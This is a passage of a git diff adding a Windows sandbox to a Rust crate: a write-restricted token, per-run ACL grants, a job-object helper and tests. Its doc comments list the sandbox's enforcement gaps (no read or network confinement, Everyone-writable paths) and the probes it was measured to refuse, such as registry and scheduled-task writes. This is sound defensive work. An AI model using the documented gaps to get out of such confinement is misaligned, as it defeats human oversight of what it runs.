} else { + UNPROTECTED_DACL_SECURITY_INFORMATION + }; + let err = SetNamedSecurityInfoW( + path.as_ptr(), + SE_FILE_OBJECT, + DACL_SECURITY_INFORMATION | protection, + std::ptr::null_mut(), + std::ptr::null_mut(), + updated.0.cast::(), + std::ptr::null(), + ); + drop((updated, descriptor)); + if err != 0 { + return Err(format!( + "setting the ACL of {} failed with error {err}", + dir.display() + )); + } + } + Ok(()) +} + +/// The cross-process lock around an ACL change, released on drop. +struct AclLock(HANDLE); + +impl AclLock { + fn take() -> Result { + // SAFETY: a NUL-terminated name; the handle is owned by the guard. + unsafe { + let handle = CreateMutexW(std::ptr::null(), 0, wide("Global\\sbx-acl").as_ptr()); + if handle.is_null() { + return Err(last_error("CreateMutexW")); + } + let waited = WaitForSingleObject(handle, LOCK_WAIT_MS); + if waited != WAIT_OBJECT_0 && waited != WAIT_ABANDONED { + CloseHandle(handle); + return Err( + "another process held the ACL lock for two minutes; not waiting longer" + .to_string(), + ); + } + Ok(Self(handle)) + } + } +} + +impl Drop for AclLock { + fn drop(&mut self) { + // SAFETY: owned, held, released and closed once. + unsafe { + ReleaseMutex(self.0); + CloseHandle(self.0); + } + } +} diff --git a/crates/sandbox/src/windows/helper.rs b/crates/sandbox/src/windows/helper.rs new file mode 100644 index 0000000..583cedc --- /dev/null +++ b/crates/sandbox/src/windows/helper.rs @@ -0,0 +1,294 @@ +//! The helper on Windows: build the token, start the command under it in a +//! job object, wait, and pass its exit code on. +//! +//! Why a helper rather than the parent calling `CreateProcessAsUserW` +//! itself: the parent hands its caller a ready `std::process::Command` +//! ([`crate::Sandbox::command`]) whose pipes the caller chooses, and only +//! `std` can spawn that. The helper is that `Command`; it inherits the pipes +//! as its own standard handles and passes them straight to the command, the +//! way incode's `--sandbox-exec` helper does. Windows has no `exec`, so the +//! helper stays, as the command's supervisor: it holds the job's only handle +//! and watches the parent, so when either the helper or the parent goes, the +//! whole tree goes with it. + +use std::ffi::OsString; +use std::os::windows::ffi::OsStrExt; + +use windows_sys::Win32::Foundation::{ + SetHandleInformation, ERROR_FILE_NOT_FOUND, ERROR_PATH_NOT_FOUND, HANDLE, HANDLE_FLAG_INHERIT, + INVALID_HANDLE_VALUE, WAIT_OBJECT_0, +}; +use windows_sys::Win32::System::Console::{ + GetStdHandle, STD_ERROR_HANDLE, STD_INPUT_HANDLE, STD_OUTPUT_HANDLE, +}; +use windows_sys::Win32::System::JobObjects::{ + AssignProcessToJobObject, CreateJobObjectW, JobObjectExtendedLimitInformation, + SetInformationJobObject, TerminateJobObject, JOBOBJECT_EXTENDED_LIMIT_INFORMATION, + JOB_OBJECT_LIMIT_DIE_ON_UNHANDLED_EXCEPTION, JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE, + JOB_OBJECT_LIMIT_PROCESS_MEMORY, JOB_OBJECT_LIMIT_PROCESS_TIME, +}; +use windows_sys::Win32::System::Threading::{ + CreateProcessAsUserW, CreateProcessW, GetExitCodeProcess, OpenProcess, ResumeThread, + TerminateProcess, WaitForMultipleObjects, CREATE_SUSPENDED, INFINITE, PROCESS_INFORMATION, + PROCESS_SYNCHRONIZE, STARTF_USESTDHANDLES, STARTUPINFOW, +}; + +use super::job_flags; +use super::token::{last_error, restricted, OwnedHandle}; +use super::{ + batch_command_line, command_line, is_batch, is_session_sid, resolve_program, JobLimits, +}; +use crate::policy::FsMode; +use crate::{EnterSpec, EXIT_SANDBOX}; + +// The flags are spelled in the pure module for its tests; check them here. +const _: () = { + assert!(job_flags::KILL_ON_JOB_CLOSE == JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE); + assert!(job_flags::DIE_ON_UNHANDLED_EXCEPTION == JOB_OBJECT_LIMIT_DIE_ON_UNHANDLED_EXCEPTION); + assert!(job_flags::PROCESS_MEMORY == JOB_OBJECT_LIMIT_PROCESS_MEMORY); + assert!(job_flags::PROCESS_TIME == JOB_OBJECT_LIMIT_PROCESS_TIME); +}; + +/// An error and the exit code it ends the helper with. +type Failure = (String, i32); + +fn sandbox(message: impl Into) -> Failure { + (message.into(), EXIT_SANDBOX) +} + +/// Run `program args` confined as `spec` says; its exit code. +/// +/// # Errors +/// When the parent is gone, the token or job cannot be made in strict mode, +/// or the command cannot be found (127) or started (126). +pub(crate) fn enter( + spec: &EnterSpec, + program: &OsString, + args: &[OsString], +) -> Result { + // Watch the parent from before the command starts: if it is already + // gone, nothing should run unsupervised. + let parent = match spec.parent_pid { + Some(pid) => { + // SAFETY: opening a process by id for SYNCHRONIZE only. + let h = unsafe { OpenProcess(PROCESS_SYNCHRONIZE, 0, pid) }; + if h.is_null() { + return Err(sandbox("the parent exited before the command started")); + } + Some(OwnedHandle(h)) + } + None => None, + }; + + let job = job(&JobLimits::from_limits(&spec.limits)).or_else(|e| { + if spec.strict { + return Err(sandbox(format!("job object: {e}"))); + } + eprintln!("sbx: job object limits not applied (best effort): {e}"); + job(&JobLimits::from_limits(&crate::policy::Limits::default())) + .map_err(|e| sandbox(format!("job object: {e}"))) + })?; + + let token = if spec.fs_mode == FsMode::Off { + None + } else { + match confining_token(spec) { + Ok(t) => Some(t), + Err(e) if spec.strict => { + return Err(sandbox(format!( + "the {} sandbox could not be applied, so the command was not run: {e}", + spec.fs_mode.as_str() + ))) + } + Err(e) => { + eprintln!("sbx: restricted token not applied (best effort): {e}"); + None + } + } + }; + + let (application, mut line) = command_for(program, args)?; + let child = start(token.as_ref(), &application, &mut line, &job)?; + + // Wait for the command, or for the parent to disappear. + let mut handles: Vec = vec![child.0]; + if let Some(p) = &parent { + handles.push(p.0); + } + // SAFETY: valid handles owned above, alive for the call. + let waited = + unsafe { WaitForMultipleObjects(handles.len() as u32, handles.as_ptr(), 0, INFINITE) }; + if waited != WAIT_OBJECT_0 { + // The parent died (or the wait failed): the tree goes with it. + // SAFETY: the job handle is ours. + unsafe { TerminateJobObject(job.0, 1) }; + return Ok(1); + } + let mut code = 0u32; + // SAFETY: the process handle is ours. + if unsafe { GetExitCodeProcess(child.0, &mut code) } == 0 { + return Err(sandbox(last_error("GetExitCodeProcess"))); + } + // Whatever the command left running ends with it, as on Linux when the + // run has its own process group; closing the job would do the same. + // SAFETY: the job handle is ours. + unsafe { TerminateJobObject(job.0, 1) }; + Ok(code as i32) +} + +/// The token for a confined run, restricted to the run's SID. +fn confining_token(spec: &EnterSpec) -> Result { + let sid = spec + .sid + .as_deref() + .ok_or("the helper was started without the run's SID")?; + if !is_session_sid(sid) { + return Err(format!("{sid} is not an sbx run SID")); + } + restricted(sid) +} + +/// A job that kills everything in it when its last handle closes, with the +/// policy's per-process limits. Not inheritable: the only handle is ours. +fn job(limits: &JobLimits) -> Result { + // SAFETY: no security attributes, no name; the handle is owned. + let job = OwnedHandle(unsafe { CreateJobObjectW(std::ptr::null(), std::ptr::null()) }); + if job.0.is_null() { + return Err(last_error("CreateJobObjectW")); + } + // SAFETY: a plain-data structure, zero is a valid value for every field. + let mut info: JOBOBJECT_EXTENDED_LIMIT_INFORMATION = unsafe { std::mem::zeroed() }; + info.BasicLimitInformation.LimitFlags = limits.flags; + info.BasicLimitInformation.PerProcessUserTimeLimit = limits.process_user_time; + info.ProcessMemoryLimit = limits.process_memory; + // SAFETY: `info` is the structure the class names, at its size. + let ok = unsafe { + SetInformationJobObject( + job.0, + JobObjectExtendedLimitInformation, + std::ptr::from_ref(&info).cast(), + std::mem::size_of::() as u32, + ) + }; + if ok == 0 { + return Err(last_error("SetInformationJobObject")); + } + Ok(job) +} + +fn to_wide(s: &OsString) -> Vec { + s.encode_wide().collect() +} + +/// The program to start and its command line (NUL-terminated), found the way +/// [`resolve_program`] says. A batch file runs through `cmd.exe`. +fn command_for(program: &OsString, args: &[OsString]) -> Result<(Vec, Vec), Failure> { + let name = program.to_string_lossy(); + let path = std::env::var("PATH").ok(); + let pathext = std::env::var("PATHEXT").ok(); + let resolved = resolve_program(&name, path.as_deref(), pathext.as_deref(), &|p| { + std::path::Path::new(p).is_file() + }) + .ok_or_else(|| (format!("cannot run {name}: not found"), 127))?; + let mut argv: Vec> = vec![to_wide(program)]; + argv.extend(args.iter().map(to_wide)); + let (application, mut line) = if is_batch(&resolved) { + let comspec = std::env::var("ComSpec").unwrap_or_else(|_| { + let root = std::env::var("SystemRoot").unwrap_or_else(|_| r"C:\Windows".into()); + format!(r"{root}\System32\cmd.exe") + }); + argv[0] = resolved.encode_utf16().collect(); + let wide_comspec: Vec = comspec.encode_utf16().collect(); + (comspec, batch_command_line(&wide_comspec, &argv)) + } else { + (resolved, command_line(&argv)) + }; + line.push(0); + let application: Vec = application.encode_utf16().chain(Some(0)).collect(); + Ok((application, line)) +} + +/// Start the command suspended (under `token` when given), with this +/// helper's standard handles, put it in `job`, then let it run. +fn start( + token: Option<&OwnedHandle>, + application: &[u16], + line: &mut [u16], + job: &OwnedHandle, +) -> Result { + // SAFETY: Win32 process creation; every pointer passed outlives the call + // and every handle returned is owned and closed. + unsafe { + // The helper's own standard handles are the pipes (or console) its + // caller chose: hand them straight to the command. + let std_handles = [ + GetStdHandle(STD_INPUT_HANDLE), + GetStdHandle(STD_OUTPUT_HANDLE), + GetStdHandle(STD_ERROR_HANDLE), + ]; + for h in std_handles { + if !h.is_null() && h != INVALID_HANDLE_VALUE { + SetHandleInformation(h, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT); + } + } + let mut si: STARTUPINFOW = std::mem::zeroed(); + si.cb = std::mem::size_of::() as u32; + si.dwFlags = STARTF_USESTDHANDLES; + si.hStdInput = std_handles[0]; + si.hStdOutput = std_handles[1]; + si.hStdError = std_handles[2]; + let mut pi: PROCESS_INFORMATION = std::mem::zeroed(); + // Suspended, so it is in the job before it runs a single + // instruction (or starts a single child). + let ok = match token { + Some(t) => CreateProcessAsUserW( + t.0, + application.as_ptr(), + line.as_mut_ptr(), + std::ptr::null(), + std::ptr::null(), + 1, + CREATE_SUSPENDED, + std::ptr::null(), + std::ptr::null(), + &si, + &mut pi, + ), + None => CreateProcessW( + application.as_ptr(), + line.as_mut_ptr(), + std::ptr::null(), + std::ptr::null(), + 1, + CREATE_SUSPENDED, + std::ptr::null(), + std::ptr::null(), + &si, + &mut pi, + ), + }; + if ok == 0 { + let err = windows_sys::Win32::Foundation::GetLastError(); + let name = String::from_utf16_lossy(&application[..application.len() - 1]); + let code = if err == ERROR_FILE_NOT_FOUND || err == ERROR_PATH_NOT_FOUND { + 127 + } else { + 126 + }; + return Err((format!("cannot run {name}: Win32 error {err}"), code)); + } + let thread = OwnedHandle(pi.hThread); + let process = OwnedHandle(pi.hProcess); + if AssignProcessToJobObject(job.0, process.0) == 0 { + let e = last_error("AssignProcessToJobObject"); + TerminateProcess(process.0, 1); + return Err(sandbox(format!("the command was not run: {e}"))); + } + if ResumeThread(thread.0) == u32::MAX { + let e = last_error("ResumeThread"); + TerminateProcess(process.0, 1); + return Err(sandbox(e)); + } + Ok(process) + } +} diff --git a/crates/sandbox/src/windows/mod.rs b/crates/sandbox/src/windows/mod.rs new file mode 100644 index 0000000..f46b684 --- /dev/null +++ b/crates/sandbox/src/windows/mod.rs @@ -0,0 +1,682 @@ +//! Windows, natively: a write-restricted token, one ACE per writable root, +//! and a job object. +//! +//! Ported from incode's own Windows sandbox (`src/sandbox/windows.rs` and +//! `windows/acl.rs`, Apache-2.0), whose authors measured it on Windows. What +//! they measured is repeated here where it explains a choice; nothing in this +//! crate's port has itself run on Windows yet (see the README). +//! +//! # Writes: a write-restricted token +//! +//! `CreateRestrictedToken` with `WRITE_RESTRICTED` and a list of restricting +//! SIDs gives a token that READS anywhere its user can, but WRITES only where +//! the user may AND one of the restricting SIDs is granted. The restricting +//! SIDs are: +//! +//! - a private SID made for this one run +//! (`S-1-5-21-1111111111-2222222222-4242424242-`), granted on each +//! writable root and the run's private temp directory and nowhere else +//! ([`acl`]); +//! - `Everyone`, so `> NUL` still works; +//! - this logon's SID, so the command can use its window station and desktop +//! and start at all. +//! +//! So a location that grants `Everyone` (or the logon SID) write access stays +//! writable to the command: that is the price of the second and third SID, +//! and the README lists it. incode measured, without elevation: writes to the +//! workspace and to `Documents` refused, `reg add HKCU`, `schtasks /create` +//! and process injection into `explorer` refused, reads and `> NUL` working. +//! +//! `read-only` is the same token with no root granted: only the temp +//! directory, which the policy promises the command in every mode. +//! +//! # The grant +//! +//! NTFS inheritance is written into every object beneath a root, not computed +//! at access time, so granting a root costs time linear in its size (incode +//! measured 2.4-2.6 s each way on 18,673 objects) and touches every object's +//! security descriptor, though no file's contents or mtime. The revoke after +//! the run is exact (an `icacls /save` of the tree was byte-identical before +//! and after). A run that crashes leaves its ACE; the next run sweeps it +//! ([`acl`]). +//! +//! # Reads: `deny_read` is NOT enforced +//! +//! A write-restricted token consults its restricting SIDs only for write +//! access, so a deny ACE for the private SID would not stop a read. Denying +//! the user's own SID would hide the path from the user everywhere, not just +//! from the sandbox; a fully restricted token (not write-restricted) would +//! need every file a toolchain reads granted to one of its SIDs. So +//! `deny_read` is reported not enforced, and `SBX_BACKEND=auto` sends such a +//! policy to WSL2, where Landlock enforces it. +//! +//! # Network: NOT enforced +//! +//! No token restricts the network (incode measured raw TCP, http and https +//! all working under it). Only an AppContainer without the internet +//! capabilities does, and an AppContainer reads only what is granted to it: +//! the workspace, the user's toolchains and profile would all need granting. +//! `deny` and `proxy` are reported not enforced; `auto` sends them to WSL2. +//! +//! # Lifetime and limits: a job object +//! +//! The helper starts the command suspended, puts it in a new job object with +//! `KILL_ON_JOB_CLOSE`, then lets it run. Every process the command starts is +//! in the job too, and cannot leave it (breakaway is not allowed). The job's +//! only handle is the helper's, so the whole tree dies when the helper exits: +//! when the command ends, when the parent kills the helper at the wall-clock +//! limit, or when the parent itself dies (the helper watches it). The policy's +//! `memory_mb` becomes the job's committed-memory limit per process and +//! `cpu_secs` its user-mode time limit per process. `file_size_mb` and +//! `open_files` have no Windows equivalent and are reported not enforced. +//! +//! # Known limit: Git Bash +//! +//! Git Bash and every msys program fail to start under the write-restricted +//! token: the msys runtime maps a per-user shared section the token may not +//! map writable, and dies with `CreateFileMapping ..., Win32 error 5` +//! (incode measured). Use `cmd` or PowerShell, or `SBX_BACKEND=wsl` for a +//! POSIX shell. + +// The pure parts below are compiled on every platform so their tests run in +// Linux CI; only the Windows build calls them. +#![cfg_attr(not(windows), allow(dead_code))] + +use std::path::PathBuf; + +use crate::policy::{Fs, FsMode, NetMode}; +use crate::Status; + +#[cfg(windows)] +pub(crate) mod acl; +#[cfg(windows)] +mod helper; +#[cfg(windows)] +mod token; + +#[cfg(windows)] +pub(crate) use helper::enter; + +/// Every run's private SID starts with this, and the sweep touches no other. +/// The domain part is made up (no real machine or domain has it) and differs +/// from incode's own (`...-3333333333-`), so neither ever revokes the other's +/// grants. +pub const SID_PREFIX: &str = "S-1-5-21-1111111111-2222222222-4242424242-"; + +/// The private SID for a run, from its random relative ID. +#[must_use] +pub fn session_sid(rid: u32) -> String { + format!("{SID_PREFIX}{rid}") +} + +/// Whether `sid` is one of this crate's run SIDs: the prefix and a non-zero +/// decimal RID, nothing else. The helper refuses any other SID, so a spec +/// cannot point the token at a SID that is granted somewhere real. +#[must_use] +pub fn is_session_sid(sid: &str) -> bool { + sid.strip_prefix(SID_PREFIX) + .and_then(|rid| { + rid.parse::() + .ok() + .filter(|r| *r != 0) + .map(|r| (rid, r)) + }) + .is_some_and(|(rid, r)| rid == r.to_string()) +} + +/// The restricted token's default DACL, in SDDL: the user, SYSTEM and the +/// run's SID, all full access. Objects the command creates without a +/// descriptor of their own (its own process and threads) get this, and +/// without the run's SID in it the command could not even open its own +/// process token: the restricted half of the access check would fail. +#[must_use] +pub fn default_dacl_sddl(user_sid: &str, run_sid: &str) -> String { + format!("D:(A;;GA;;;{user_sid})(A;;GA;;;SY)(A;;GA;;;{run_sid})") +} + +/// Why `deny_read` is not enforced natively. +pub const DENY_READ_NOT_ENFORCED: &str = + "a write-restricted token consults its restricting SIDs only for writes, so no ACE can hide \ + a path from the sandbox alone; use WSL2 (SBX_BACKEND=wsl, or auto), where Landlock does"; + +/// Why `network = deny | proxy` is not enforced natively. +pub const NETWORK_NOT_ENFORCED: &str = + "no token restricts the network on Windows; only an AppContainer can, and an AppContainer \ + cannot read the workspace or the user's toolchains unless each is granted to it. Use WSL2 \ + (SBX_BACKEND=wsl, or auto)"; + +/// What native Windows enforces of the filesystem policy. +#[must_use] +pub fn fs_status(fs: &Fs) -> Status { + if fs.mode == FsMode::Off { + return Status::NotRequested; + } + if !fs.deny_read.is_empty() { + return Status::NotEnforced(format!( + "deny_read is not enforced natively on Windows ({DENY_READ_NOT_ENFORCED}); writes \ + would be confined" + )); + } + let writes = match fs.mode { + FsMode::ReadOnly => "writes only to the run's private temp directory", + _ => "writes only beneath the writable roots and the run's private temp directory", + }; + Status::Enforced(format!( + "write-restricted token: reads anywhere, {writes} (each granted to a private per-run \ + SID, revoked after the run), the null device, and anywhere Everyone may write" + )) +} + +/// What native Windows enforces of the network policy. +#[must_use] +pub fn net_status(mode: NetMode) -> Status { + match mode { + NetMode::Allow => Status::NotRequested, + NetMode::Deny | NetMode::Proxy => Status::NotEnforced(format!( + "network {} is not enforced natively on Windows: {NETWORK_NOT_ENFORCED}", + mode.as_str() + )), + } +} + +// ---- The grant's bookkeeping (see `acl`). ---- + +/// A grant record's contents: the SID, then one `root ` per root. +#[must_use] +pub fn record_text<'a>(sid: &str, roots: impl IntoIterator) -> String { + let mut text = format!("sid {sid}\n"); + for root in roots { + text.push_str(&format!("root {}\n", root.display())); + } + text +} + +/// A record read back. `None` for one whose SID is not a run SID of this +/// crate: the sweep must never revoke anyone else's ACE. +#[must_use] +pub fn parse_record(text: &str) -> Option<(String, Vec)> { + let mut sid = None; + let mut roots = Vec::new(); + for line in text.lines() { + match line.split_once(' ') { + Some(("sid", v)) => sid = Some(v.to_string()), + Some(("root", v)) => roots.push(PathBuf::from(v)), + _ => {} + } + } + let sid = sid.filter(|s| is_session_sid(s))?; + Some((sid, roots)) +} + +/// A path as Windows compares it: `\\?\` dropped (`canonicalize` adds it), +/// `/` as `\`, no trailing separator, lower case. Windows paths are +/// case-insensitive, and a refusal must not be dodged by spelling. +#[must_use] +pub fn path_key(path: &str) -> String { + let p = path.replace('/', "\\"); + let p = if let Some(unc) = p.strip_prefix(r"\\?\UNC\") { + format!(r"\\{unc}") + } else if let Some(rest) = p.strip_prefix(r"\\?\") { + rest.to_string() + } else { + p + }; + let trimmed = p.trim_end_matches('\\'); + // `C:\` keeps its separator: `C:` alone means "the current folder on C". + let p = if trimmed.len() == 2 && trimmed.ends_with(':') { + format!("{trimmed}\\") + } else { + trimmed.to_string() + }; + p.to_lowercase() +} + +/// Whether `outer` is `inner` or one of its ancestors. +#[must_use] +pub fn holds(outer: &str, inner: &str) -> bool { + let (o, i) = (path_key(outer), path_key(inner)); + if o == i { + return true; + } + let o = if o.ends_with('\\') { + o + } else { + format!("{o}\\") + }; + i.starts_with(&o) +} + +/// `\\?\C:\x` as `C:\x`, for paths handed to commands (a `\\?\` `TEMP` +/// breaks many tools). Anything else is returned as it was. +#[must_use] +pub fn strip_verbatim(path: &str) -> String { + match path.strip_prefix(r"\\?\") { + Some(rest) if rest.as_bytes().get(1) == Some(&b':') => rest.to_string(), + Some(rest) if rest.starts_with("UNC\\") => format!(r"\\{}", &rest[4..]), + _ => path.to_string(), + } +} + +/// Refuse a root whose grant would reach far past a workspace: a drive root, +/// a share's root, or a folder that holds the user profile. The grant would +/// reach every file beneath it, which is both slow and no confinement at all. +/// +/// # Errors +/// When the root is one of those, or not absolute. +pub fn refuse_broad(root: &str, profile: Option<&str>) -> Result<(), String> { + let key = path_key(root); + let absolute = key.as_bytes().get(1) == Some(&b':') || key.starts_with(r"\\"); + if !absolute { + return Err(format!("{root}: not an absolute path")); + } + let is_drive_root = key.len() == 3 && key.ends_with(":\\"); + let is_share_root = key.starts_with(r"\\") && key[2..].split('\\').count() <= 2; + if is_drive_root || is_share_root { + return Err(format!( + "will not grant {root}: a drive or share root is not a workspace" + )); + } + if profile.is_some_and(|p| holds(root, p)) { + return Err(format!("will not grant {root}: it holds the user profile")); + } + Ok(()) +} + +/// The roots worth granting: deduplicated, in a stable order, and a root +/// inside another dropped (it inherits the outer one's ACE). +#[must_use] +pub fn fold_nested(roots: &[PathBuf]) -> Vec { + let mut out: Vec = Vec::new(); + for r in roots { + let s = r.to_string_lossy(); + if !out + .iter() + .any(|o| path_key(&o.to_string_lossy()) == path_key(&s)) + { + out.push(r.clone()); + } + } + out.sort_by_key(|p| path_key(&p.to_string_lossy())); + let all = out.clone(); + out.retain(|r| { + !all.iter().any(|other| { + let (o, i) = (other.to_string_lossy(), r.to_string_lossy()); + path_key(&o) != path_key(&i) && holds(&o, &i) + }) + }); + out +} + +// ---- Starting the command: the program and its command line. ---- + +/// The extensions tried when a program is named without one. +pub const DEFAULT_PATHEXT: &str = ".COM;.EXE;.BAT;.CMD"; + +/// Find `program` the way a shell would, without the current directory: +/// a name with a separator is a path (relative to the command's folder); +/// a bare name is searched in each `PATH` folder. Without one of `PATHEXT`'s +/// extensions, each is tried in turn (so `npm` finds `npm.cmd`). `exists` +/// is asked about each candidate. +/// +/// Deliberately not `CreateProcess`'s own search, which looks in the +/// helper's folder and the current folder first: a `cmd.exe` planted in the +/// workspace would be run in place of the real one. +#[must_use] +pub fn resolve_program( + program: &str, + path: Option<&str>, + pathext: Option<&str>, + exists: &dyn Fn(&str) -> bool, +) -> Option { + let exts: Vec = pathext + .filter(|p| !p.trim().is_empty()) + .unwrap_or(DEFAULT_PATHEXT) + .split(';') + .map(str::trim) + .filter(|e| e.starts_with('.') && e.len() > 1) + .map(str::to_ascii_lowercase) + .collect(); + let file_name = program.rsplit(['\\', '/']).next().unwrap_or(program); + let has_known_ext = file_name + .rfind('.') + .is_some_and(|i| exts.contains(&file_name[i..].to_ascii_lowercase())); + let candidates = |base: &str| -> Vec { + let mut c = Vec::new(); + if has_known_ext { + c.push(base.to_string()); + } else { + c.extend(exts.iter().map(|e| format!("{base}{e}"))); + c.push(base.to_string()); + } + c + }; + if program.contains(['\\', '/', ':']) { + return candidates(program).into_iter().find(|c| exists(c)); + } + for dir in path.unwrap_or("").split(';') { + let dir = dir.trim().trim_matches('"').trim_end_matches(['\\', '/']); + if dir.is_empty() { + continue; + } + if let Some(found) = candidates(&format!("{dir}\\{program}")) + .into_iter() + .find(|c| exists(c)) + { + return Some(found); + } + } + None +} + +/// Whether a resolved program is a batch file, which only `cmd.exe` runs. +#[must_use] +pub fn is_batch(program: &str) -> bool { + let p = program.to_ascii_lowercase(); + p.ends_with(".bat") || p.ends_with(".cmd") +} + +/// Append `arg` to a command line, quoted so that `CommandLineToArgvW` (and +/// the C runtime) read it back as exactly one argument: in quotes when it is +/// empty or holds a space, tab, newline or quote; a quote escaped with a +/// backslash; backslashes doubled only where they precede a quote. +pub fn append_arg(line: &mut Vec, arg: &[u16]) { + const QUOTE: u16 = b'"' as u16; + const BACKSLASH: u16 = b'\\' as u16; + if !line.is_empty() { + line.push(u16::from(b' ')); + } + let plain = !arg.is_empty() + && !arg.iter().any(|&c| { + c == QUOTE || c == u16::from(b' ') || c == u16::from(b'\t') || c == 10 || c == 11 + }); + if plain { + line.extend_from_slice(arg); + return; + } + line.push(QUOTE); + let mut backslashes = 0usize; + for &c in arg { + if c == BACKSLASH { + backslashes += 1; + continue; + } + if c == QUOTE { + line.extend(std::iter::repeat_n(BACKSLASH, backslashes * 2 + 1)); + } else { + line.extend(std::iter::repeat_n(BACKSLASH, backslashes)); + } + backslashes = 0; + line.push(c); + } + line.extend(std::iter::repeat_n(BACKSLASH, backslashes * 2)); + line.push(QUOTE); +} + +/// The whole command line for `argv` (UTF-16, no terminating NUL). +#[must_use] +pub fn command_line(argv: &[Vec]) -> Vec { + let mut line = Vec::new(); + for a in argv { + append_arg(&mut line, a); + } + line +} + +/// The command line that runs a batch file: `cmd.exe /d /s /c ""`. +/// `/d` skips AutoRun commands from the registry; `/s` makes `cmd` strip +/// exactly the outer quotes. The batch file's arguments are then parsed by +/// `cmd` itself (`%`, `^`, `&` keep their meaning there), which is why this +/// is only used for `.bat`/`.cmd` programs; either way it runs confined. +#[must_use] +pub fn batch_command_line(comspec: &[u16], argv: &[Vec]) -> Vec { + let mut line = Vec::new(); + append_arg(&mut line, comspec); + for flag in ["/d", "/s", "/c"] { + line.push(u16::from(b' ')); + line.extend(flag.encode_utf16()); + } + line.extend(" \"".encode_utf16()); + line.extend(command_line(argv)); + line.push(u16::from(b'"')); + line +} + +// ---- The job's limits. ---- + +/// `JOB_OBJECT_LIMIT_*` values, spelled here so the flag arithmetic is +/// testable everywhere; the Windows build checks them against `windows-sys`. +pub mod job_flags { + pub const PROCESS_TIME: u32 = 0x0000_0002; + pub const PROCESS_MEMORY: u32 = 0x0000_0100; + pub const DIE_ON_UNHANDLED_EXCEPTION: u32 = 0x0000_0400; + pub const KILL_ON_JOB_CLOSE: u32 = 0x0000_2000; +} + +/// What the job object is set to, from the policy's limits. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct JobLimits { + /// `JOB_OBJECT_LIMIT_*` flags. + pub flags: u32, + /// Committed memory per process, in bytes. + pub process_memory: usize, + /// User-mode CPU time per process, in 100 ns units. + pub process_user_time: i64, +} + +impl JobLimits { + /// Always `KILL_ON_JOB_CLOSE` (the tree dies with the helper) and + /// `DIE_ON_UNHANDLED_EXCEPTION` (a crash ends the process instead of + /// leaving it waiting on an error-report dialog nobody sees); memory and + /// CPU when the policy sets them. + #[must_use] + pub fn from_limits(limits: &crate::policy::Limits) -> Self { + const MB: u64 = 1024 * 1024; + let mut flags = job_flags::KILL_ON_JOB_CLOSE | job_flags::DIE_ON_UNHANDLED_EXCEPTION; + let mut process_memory = 0; + let mut process_user_time = 0; + if let Some(mb) = limits.memory_mb { + flags |= job_flags::PROCESS_MEMORY; + process_memory = usize::try_from(mb.saturating_mul(MB)).unwrap_or(usize::MAX); + } + if let Some(secs) = limits.cpu_secs { + flags |= job_flags::PROCESS_TIME; + process_user_time = i64::try_from(secs.saturating_mul(10_000_000)).unwrap_or(i64::MAX); + } + Self { + flags, + process_memory, + process_user_time, + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::policy::Limits; + + fn w(s: &str) -> Vec { + s.encode_utf16().collect() + } + + fn line(args: &[&str]) -> String { + String::from_utf16(&command_line( + &args.iter().map(|a| w(a)).collect::>(), + )) + .expect("utf16") + } + + #[test] + fn session_sids_are_recognised_and_nothing_else() { + let sid = session_sid(77); + assert_eq!(sid, "S-1-5-21-1111111111-2222222222-4242424242-77"); + assert!(is_session_sid(&sid)); + for bad in [ + "S-1-1-0", + SID_PREFIX, + &format!("{SID_PREFIX}0"), + &format!("{SID_PREFIX}007"), + &format!("{SID_PREFIX}12-5"), + &format!("{SID_PREFIX}99999999999"), + // incode's own prefix: never swept or used by sbx. + "S-1-5-21-1111111111-2222222222-3333333333-77", + ] { + assert!(!is_session_sid(bad), "{bad}"); + } + } + + #[test] + fn the_default_dacl_names_the_user_system_and_the_run() { + assert_eq!( + default_dacl_sddl("S-1-5-21-1-2-3-1001", &session_sid(9)), + "D:(A;;GA;;;S-1-5-21-1-2-3-1001)(A;;GA;;;SY)(A;;GA;;;S-1-5-21-1111111111-2222222222-4242424242-9)" + ); + } + + #[test] + fn a_record_round_trips_and_a_foreign_sid_is_ignored() { + let roots = [PathBuf::from(r"C:\w\a"), PathBuf::from(r"D:\b c")]; + let sid = session_sid(123); + let text = record_text(&sid, roots.iter()); + let (back, got) = parse_record(&text).expect("parses"); + assert_eq!(back, sid); + assert_eq!(got, roots); + assert!(parse_record("sid S-1-1-0\nroot C:\\w\n").is_none()); + assert!(parse_record(&format!("sid {SID_PREFIX}\n")).is_none()); + assert!(parse_record("root C:\\w\n").is_none()); + } + + #[test] + fn paths_compare_the_way_windows_does() { + assert_eq!(path_key(r"\\?\C:\Work\App\"), r"c:\work\app"); + assert_eq!(path_key("C:/Work"), r"c:\work"); + assert_eq!(path_key(r"\\?\C:\"), r"c:\"); + assert_eq!(path_key(r"\\?\UNC\srv\share\x"), r"\\srv\share\x"); + assert!(holds(r"C:\Users", r"c:\users\me\x")); + assert!(holds(r"\\?\C:\Users\Me", r"C:\Users\me")); + assert!(!holds(r"C:\Users\me", r"C:\Users\meta")); + assert!(holds(r"C:\", r"C:\anything")); + assert_eq!(strip_verbatim(r"\\?\C:\t\sbx-1"), r"C:\t\sbx-1"); + assert_eq!(strip_verbatim(r"\\?\UNC\srv\s\x"), r"\\srv\s\x"); + assert_eq!(strip_verbatim(r"C:\t"), r"C:\t"); + } + + #[test] + fn broad_roots_are_refused_and_nested_ones_folded() { + let profile = Some(r"C:\Users\someone"); + for broad in [ + r"C:\", + r"\\?\C:\", + r"C:\Users", + r"\\?\c:\users\SOMEONE", + r"\\server\share", + "relative", + ] { + assert!(refuse_broad(broad, profile).is_err(), "{broad}"); + } + assert!(refuse_broad(r"C:\Users\someone\proj", profile).is_ok()); + assert!(refuse_broad(r"\\?\C:\Users\someone\AppData\Local\Temp\sbx-1", profile).is_ok()); + assert!(refuse_broad(r"\\server\share\proj", profile).is_ok()); + let folded = fold_nested(&[ + PathBuf::from(r"C:\w\a\inner"), + PathBuf::from(r"C:\w\a"), + PathBuf::from(r"c:\W\A"), + PathBuf::from(r"D:\t"), + ]); + assert_eq!(folded, [PathBuf::from(r"C:\w\a"), PathBuf::from(r"D:\t")]); + } + + #[test] + fn arguments_are_quoted_for_command_line_to_argv() { + assert_eq!(line(&["cmd", "/c", "echo"]), "cmd /c echo"); + assert_eq!(line(&["a b", ""]), r#""a b" """#); + 